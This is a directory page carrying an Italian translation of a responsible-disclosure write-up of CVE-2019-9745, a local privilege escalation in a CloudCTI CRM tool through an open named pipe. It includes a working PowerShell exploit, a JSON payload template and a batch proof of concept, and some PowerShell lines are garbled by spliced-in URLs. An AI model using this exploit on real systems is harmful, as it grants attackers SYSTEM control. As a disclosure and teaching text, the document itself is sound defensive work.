Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-9745 — Descrizione sulla vulnerabilità CVE-2019-9745. | Kitploit
Strumenti/GitHubGitHub/kpn-ciso/cve-2019-9745
Analisi delle VulnerabilitàExploitPenetration TestingPaper e RicercaApprendimento e Formazione
GitHubkpn-ciso/cve-2019-9745

CVE-2019-9745

Descrizione sulla vulnerabilità CVE-2019-9745.

Vedi Repository
126 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Autore: Arn Vollebregt

Introduzione

La creatività è al centro del penetration testing, che rende il nostro lavoro interessante. Una trappola, tuttavia, è la tendenza a 'progettare in eccesso' scenari di attacco e concentrarsi esclusivamente sui bug (condizioni di errore). I difetti (comportamenti indesiderati) possono tuttavia essere presenti con risultati altrettanto devastanti. Questo articolo fornisce un caso di studio per dimostrare l'importanza di eseguire penetration test per tali difetti. Allo stesso tempo, sostiene l'adozione di un processo SDLC (Secure Development Lifecycle).

L'articolo fa parte della RD (responsible disclosure) della vulnerabilità CVE-2019-9745 ed è stato scritto in stretta collaborazione con il fornitore CloudCTI. Fornisce una panoramica di alto livello della vulnerabilità prima di approfondire i dettagli tecnici. Dopo aver dimostrato lo sfruttamento della vulnerabilità, viene fornita una conclusione con le lezioni apprese.

Sommario

Il CloudCTI Recognition Configuration Tool che abbiamo esaminato durante uno dei nostri penetration test viene utilizzato per recuperare informazioni da software CRM (Customer Relationship Management). Ciò fornisce al personale del call center informazioni rilevanti durante le chiamate dei clienti. Sono stati identificati diversi problemi che possono essere concatenati per compromettere completamente il sistema locale. Il fornitore sottolinea che ciò non influisce sui sistemi di altri clienti né sui propri.

Come per molte vulnerabilità di sicurezza, un problema importante risiede nella validazione dei dati provenienti da fonti al di fuori della propria sfera di influenza. Altrettanto importante è la consapevolezza che sistemi e software operano in ambienti ostili. Il tempo e l'esperienza ci hanno insegnato che l'intercettazione è una minaccia su Internet. Lo stesso vale per altri canali di comunicazione, anche all'interno dello stesso sistema. Questo è stato determinante nella scoperta della vulnerabilità.

Scarica lo strumento

Un'analisi delle cause profonde dei problemi incontrati mostra l'importanza di pratiche come la TM (threat modelling). La TM aiuta a identificare i rischi nelle fasi iniziali di progettazione e sviluppo. Ciò può portare alla mitigazione di rischi inaccettabili o alla riprogettazione/reimplementazione. Sebbene il lettore sia incoraggiato a condurre la propria analisi, vengono fornite descrizioni delle contromisure del fornitore a scopo di riferimento.

La vulnerabilità

Il software del fornitore è composto da quattro applicazioni che lavorano insieme. La prima applicazione è l'interfaccia utente grafica (GUI). Questa consente all'utente di avviare il recupero di informazioni da diversi pacchetti software CRM:

Figura 01

La GUI delega il recupero delle informazioni a un servizio (la seconda applicazione) inviando un messaggio. I primi problemi di sicurezza si manifestano qui: non solo chiunque sul sistema può osservare i messaggi tra la GUI e il servizio per determinarne il formato e il contenuto (compromettendo la riservatezza), ma può anche inviare i propri messaggi (compromettendo l'autorizzazione). Inoltre, la fonte dei messaggi al servizio non viene verificata (compromettendo la non ripudiabilità). Nella terminologia della modellazione delle minacce STRIDE, ciò significa che il sistema è soggetto a divulgazione di informazioni e manomissione. Infatti, le informazioni ricavate da questi messaggi sono state determinanti nella scoperta della vulnerabilità.

La terza applicazione è uno dei tanti importatori specializzati. Il servizio delega il recupero delle informazioni per uno specifico pacchetto CRM a uno specifico importatore. Il messaggio inviato dalla GUI contiene istruzioni specifiche per questo importatore. Esaminando l'importatore Exquise CRM, si scopre che il recupero delle informazioni viene ulteriormente delegato a un'applicazione esterna (la quarta). Esaminando la logica interna dell'importatore, è stato scoperto che l'applicazione esterna poteva essere specificata nel messaggio tra la GUI e il servizio. Il problema che si manifesta qui è che l'applicazione esterna viene eseguita senza verificarne l'identità (compromettendo la non ripudiabilità).

Concatenando questi problemi, abbiamo potuto intercettare i messaggi per determinarne il formato e inviare un messaggio in cui specificavamo la nostra applicazione esterna malevola. Tale applicazione esterna viene eseguita con gli stessi privilegi dell'importatore/servizio. Poiché questi privilegi sono i più elevati possibili all'interno del sistema, viene ottenuto il controllo totale e il sistema viene compromesso.

Questi problemi sono mitigati dal fornitore crittografando i messaggi (mitigando il problema di riservatezza) tramite l'uso di segreti condivisi unici (mitigando il problema di autorizzazione) a cui possono accedere solo gli utenti di sistema autenticati che li possiedono (mitigando il primo problema di non ripudiabilità). Infine, l'applicazione esterna è firmata crittograficamente (mitigando il secondo problema di non ripudiabilità). La combinazione di queste misure mitiga con successo la vulnerabilità.

Dettagli tecnici

Quando viene installata l'applicazione GUI CloudCTI Recognition Configuration Tool (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\CloudCTI Recognition Configuration Tool.exe), viene esaminata con Process Explorer. Questo rivela che un servizio associato (Recognition Update Client Service) è installato e eseguito con diritti NT AUTHORITY\SYSTEM:

Figura 02

Investigando l'eseguibile del servizio (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RecognitionUpdateClientServiceService.exe), diventa evidente che è sviluppato utilizzando il linguaggio di programmazione .NET. Può essere decompilato usando dnSpy per ottenere informazioni sulla sua logica interna, che verranno dettagliate di seguito.

RUCS2017Service (lo spazio dei nomi .NET interno nell'eseguibile del servizio) risulta essere un semplice wrapper attorno allo spazio dei nomi RUCS2017 (C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\RUCS2017.dll). Questo definisce un server Named Pipe chiamato RUCS20151029 in RUCS2017.dll:RUCS2017.TRUCS2017:902:

Figura 03

Il server named pipe viene avviato in RUCS2017.dll:RUCS2017.TRUCS2017:833:

Figura 04

Il seguente one-liner di PowerShell viene utilizzato per confermare che questa pipe è effettivamente attiva sul sistema:``` PS C:\Users\hacker> [System.IO.Directory]::GetFiles("\.\pipe\") |Select-String -Pattern "RUCS20151029"

\.\pipe\RUCS20151029

root@kitploit:~
Utilizzando [AccessChk](https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk) vengono esaminati i diritti di accesso della pipe. Attraverso ciò si scopre che la pipe può essere letta (*R*) e scritta (*W*) da qualsiasi utente di sistema (*Everyone*):```
PS C:\Users\hacker> .\accesschk.exe \pipe\RUCS20151029

Accesschk v6.12 - Reports effective permissions for securable objects
Copyright (C) 2006-2017 Mark Russinovich
Sysinternals - www.sysinternals.com

\\.\Pipe\RUCS20151029
  RW Everyone
  RW BUILTIN\Administrators

Quando la funzionalità Aggiungi applicazione nella GUI viene utilizzata (vedi Figura 01) si osserva il seguente traffico non crittografato sulla named pipe utilizzando IO Ninja:

Figura 05

Questo contiene i seguenti dati JSON:```JSON { "Command":"WizardGetData", "Params": { "ReturnSize":50, "DatasourceType":"exquise exporter", "DatasourceSettings": { "ExquiseFolder":"C:\Users\hacker\Desktop"} } ,"Id":"76037453" }

root@kitploit:~
Elaborazione dei messaggi sulla pipe è basata su [eventi](https://docs.microsoft.com/en-us/dotnet/standard/events/) e viene sottoscritta nel costruttore del servizio in *RUCS2017.dll:RUCS2017.TRUCS2017:803*:

![](https://assets.kitploit.com/production/public/readmes/37200/3e7d9948347ffbffc26ee104ad8ff50933606181eb9eee446b5fa3dc961d01e7.png)
**<div style="text-align: right">Figura 06</div>**

In questa funzione, il JSON viene prima deserializzato in *RUCS2017.dll:RUCS2017.TRUCS2017:267*:

![](https://assets.kitploit.com/production/public/readmes/37200/33bca92e1b5a36f4603939abd37a314f4f61cd9ef70e0e07d94f227843e10bdd.png)
**<div style="text-align: right">Figura 07</div>**

La logica specifica per l'elaborazione della struttura del messaggio JSON *WizardGetData* si trova in *RUCS2017.dll:RUCS2017.TRUCS2017:315* sotto il caso dell'enumerazione *TFerbCommandType.WizardGetData*:

![](https://assets.kitploit.com/production/public/readmes/37200/73c46336e94cd74c15c7d08d05fe5bd222805be36dbf3c3d4b88c5ba96e3841c.png)
**<div style="text-align: right">Figura 08</div>**

Un task manager avvia quindi un nuovo thread in *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:614* passando la struttura del messaggio analizzato:

![](https://assets.kitploit.com/production/public/readmes/37200/036e68c9599c4a8f38ef4e7f620acd2867f0482239535ed2f5e2804976c2bc97.png)
**<div style="text-align: right">Figura 09</div>**

Il *DatasourceType* (per uno specifico pacchetto CRM) viene caricato dinamicamente in *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:177*:

![](https://assets.kitploit.com/production/public/readmes/37200/76890a7277c2d05ee4d5ecf973f1f987e32f694c6523210b423f9a74adcefa46.png)
**<div style="text-align: right">Figura 10</div>**

Che carica il file *.dll* definito in *json.conf:17*:

![](https://assets.kitploit.com/production/public/readmes/37200/946a3349f0f4ed3d0e9ca99ce176d3114226b4cb4f88a7402a75ebdba3405c9d.png)
**<div style="text-align: right">Figura 11</div>**

L'ulteriore elaborazione del messaggio viene quindi delegata al plugin *C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceExquiseExporter.dll* in *RUCS2017.dll:RUCS2017.TRUCS2017.TTaskManager:197* (*Figura 10*).

*CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource* deriva da *CloudCTI.Datasources.TextFile.RUS2015.TextFileDatasource* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\DatasourceTextFile.dll*). Questo a sua volta deriva da *CloudCTI.Datasources.RUS2015.DatasourceBase* (*C:\Program Files (x86)\CloudCTI Recognition Configuration Tool\RUCS\Datasources\Legacy\CloudCTIReplicationDatasourcesClass.dll*). Troviamo l'implementazione del metodo *GetData* in *CloudCTI.Datasources.RUS2015.DatasourceBase:133* che chiama *initializeDatasource* in *CloudCTI.Datasources.RUS2015.DatasourceBase:142*:

![](https://assets.kitploit.com/production/public/readmes/37200/405e10ddf3fb9c601b8a91fd1c7c3fdab9033a19279276895d6655611071d22e.png)
**<div style="text-align: right">Figura 12</div>**

Questo a sua volta chiama *DatasourceInitialize* in *CloudCTI.Datasources.RUS2015.DatasourceBase:598*:

![](https://assets.kitploit.com/production/public/readmes/37200/b42faa7d9551b04a5f0addd5031348ac56f6654cd49bc22f6d7dd357eb45a96a.png)
**<div style="text-align: right">Figura 13</div>**

Per prima cosa il messaggio JSON viene analizzato in *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:24*:

![](https://assets.kitploit.com/production/public/readmes/37200/1bf27679546c003d32ba46d0b5b4fc892b35158964d228df72541cdef4c6c75c.png)
**<div style="text-align: right">Figura 14</div>**

La struttura di questo messaggio è definita nella classe *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings*. Questa classe contiene anche la proprietà *ExporterApplication*, che è di grande interesse per noi:

![](https://assets.kitploit.com/production/public/readmes/37200/0ed877f459c0643cda84f50b5aeda7000e33784c6794dae9c42de9d385498002.png)
**<div style="text-align: right">Figura 15</div>**

In *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:29* (vedi *figura 14*) viene verificato se *ExporterApplication* è impostato nel messaggio. Se non lo è, viene utilizzata un'applicazione predefinita, altrimenti viene utilizzata l'applicazione esterna dal messaggio. <span style='color:red'>**È qui che si manifesta la vulnerabilità**</span>. In *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterDatasource:41* (vedi *Figura 14*) viene chiamato il metodo *createExportFile* che avvia l'applicazione esterna precedentemente determinata (riga *73*):

![](https://assets.kitploit.com/production/public/readmes/37200/7b84dfabc6a860697245373d0fca8bcad5f747d0983521d9ea46f0e85031587f.png)
**<div style="text-align: right">Figura 16</div>**

# L'exploit #

Poiché il processo del servizio (*C:\Program Files (x86)\HIP Integrator\RUCS\RecognitionUpdateClientServiceService.exe*) viene eseguito con diritti *NT AUTHORITY\SYSTEM*, ha accesso a **tutti** gli aspetti del sistema, che ora abbiamo anche noi tramite la proprietà *CloudCTI.Datasources.ExquiseExporter.RUS2015.ExquiseExporterSettings.ExporterApplication*. Quando questo viene inserito nel messaggio, il seguente template JSON è il risultato:```JSON
{
    "Command":"WizardGetData",
    "Params":
    {
        "ReturnSize":RETURN_SIZE,
        "DatasourceType":"exquise exporter",
        "DatasourceSettings":
        {
            "ExquiseFolder":"FOLDER_NAME",
            "ExporterApplication":"APPLICATION_NAME"
        }
    },
    "Id":"RANDOM_VALUE"
}

Attraverso tentativi ed errori si scopre che ExporterApplication può essere uno script batch che non richiede il download di risorse aggiuntive e può essere collocato in una directory (utente) controllata da un utente con privilegi inferiori. Poiché tutti gli utenti possono scrivere nel Named Pipe RUCS20151029, il seguente script PowerShell viene utilizzato per inviare JSON manipolato al named pipe:

CVE-2019-9745.ps1:```powershell

Import .NET classes in Powershell.

add-Type -assembly "System.Core"

Create required 'data' directory (per internal programming logic).

New-Item -ItemType directory -Path data -Force > $null

Remove any cached results, which may block execution of the exploit.

Remove-Item -Path C:\Windows\Temp\exquiseexport.csv -Force -ErrorAction Ignore $pipeName = '\RUCS20151029'

Construct/configure a named pipe client.

$pipe = new-object System.IO.Pipes.NamedPipeClientStream( ".", $pipeName, [System.IO.Pipes.PipeDirection]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:InOut, [System.IO.Pipes.PipeOptions]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Asynchronous, [System.Security.Principal.TokenImpersonationLevel]:https://raw.githubusercontent.com/kpn-ciso/cve-2019-9745/master/:Anonymous ); $pipe.Connect(1000); $pipe.ReadMode = [System.IO.Pipes.PipeTransmissionMode]::Message; $pipeWriter = new-object System.IO.StreamWriter($pipe);

Craft JSON payload that points to our external/own application (CVE-2019-9745.bat).

$payload = '{"Command":"WizardGetData","Params":{"ReturnSize":50,"DatasourceType":"exquise exporter","DatasourceSettings":{"ExquiseFolder":"C:\Users\hacker\exploit","ExporterApplication":"C:\Users\hacker\exploit\CVE-2019-9745.bat"}},"Id":"' + $(Get-Random) + '"}'

Properly encode the payload.

$payload = [System.Text.Encoding]::Unicode.GetBytes($payload)

Send the payload.

$pipeWriter.Write($payload, 0, $payload.length); $pipeWriter.flush()

root@kitploit:~
Il seguente script batch è specificato nel messaggio JSON come applicazione esterna (*ExporterApplication*). Come prova di concetto, il nome dell'utente che lo esegue viene scritto in un file. Ovviamente questo può essere sostituito con qualsiasi comando (sequenza).

**CVE-2019-9745.bat**:```batch
@ECHO OFF
whoami > C:\Users\hacker\exploit\CVE-2019-9745.log

Quando il messaggio viene inviato da un utente normale (con privilegi bassi) (usando CVE-2019-9745.ps1) possiamo effettivamente vedere che CVE-2019-9745.bat viene eseguito con privilegi elevati (NT Authority\SYSTEM):

Figura 17

Conclusione

Dal punto di vista del pentesting, testare le falle nella logica (di business) di un sistema può richiedere un investimento di tempo significativo. Poiché la maggior parte dei pentest sono black-box testing (in contrapposizione al white-box testing) questo di solito comporta reverse engineering. Tuttavia, come dimostrato, le falle possono essere altrettanto devastanti dei bug. Per questo motivo è fortemente consigliato un approccio a due punte che testi sia i bug che le falle.

Dal punto di vista di un fornitore è importante non solo porsi la domanda 'come possono essere utilizzati i nostri prodotti' ma anche 'come possono essere abusati'. SDLC (Secure Development Lifecycle) può aiutare con la gestione del rischio durante le varie fasi del ciclo di vita del prodotto: requisiti di sicurezza, architettura e un modello di minaccia aiutano la fase di progettazione ad alto e basso livello. L'analisi del codice statica/dinamica e il peer reviewing aiutano il processo di sviluppo. Infine, il penetration testing fornisce un audit (indipendente). Naturalmente, i risultati di questi processi devono essere confrontati con un appetito al rischio. Da un punto di vista finanziario, vari studi (Il Business Case per la Sicurezza nell'SDLC) hanno concluso che affrontare i difetti (di sicurezza) nelle fasi iniziali del ciclo di vita del prodotto è più economico della correzione. Ciò significa che investire nell'SDLC può ridurre il TCO (Total Cost of Ownership) a lungo termine.

Collegando entrambe le prospettive, è importante continuare a investire nella consapevolezza della sicurezza su tutti i fronti attraverso formazione e istruzione. Ciò garantisce che tutte le parti siano aggiornate sia sulle opportunità che sui rischi per la sicurezza nel dominio IT che continuano ad evolversi rapidamente. In questo modo, possiamo tutti contribuire a una società più sicura.

Timeline di Divulgazione Responsabile

  • 25-01-2019 : Vulnerabilità segnalata al fornitore CloudCTI da KPN CERT.
  • 14-02-2019 : Hotfix rilasciato ai clienti da CloudCTI.
  • 13-03-2019 : Prenotazione CVE da parte di MITRE.
  • 18-04-2019 : Patch iniziale fornita a KPN da CloudCTI.
  • 26-04-2019 : Nuovo test della vulnerabilità da parte del KPN Red team.
  • 02-05-2019 : Patch rivista fornita a KPN da CloudCTI.
  • 02-05-2019 : Nuovo test della vulnerabilità da parte del KPN Red team.
  • 19-06-2019 : Patch rilasciata ai clienti da CloudCTI.
  • 27-06-2019 : Notifica di sicurezza rilasciata da CloudCTI.
  • 14-10-2019 : Pubblicazione di questo writeup da parte del KPN Red team su GitHub.
  • 14-10-2019 : Pubblicazione CVE da parte di MITRE.
  • 07-11-2019 : Pubblicazione di questo writeup da parte del KPN Red Team su kpn.com.

Gravità

Il punteggio CVSS che abbiamo assegnato a questa vulnerabilità è 8.8 (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H/E:H/RL:O/RC:C).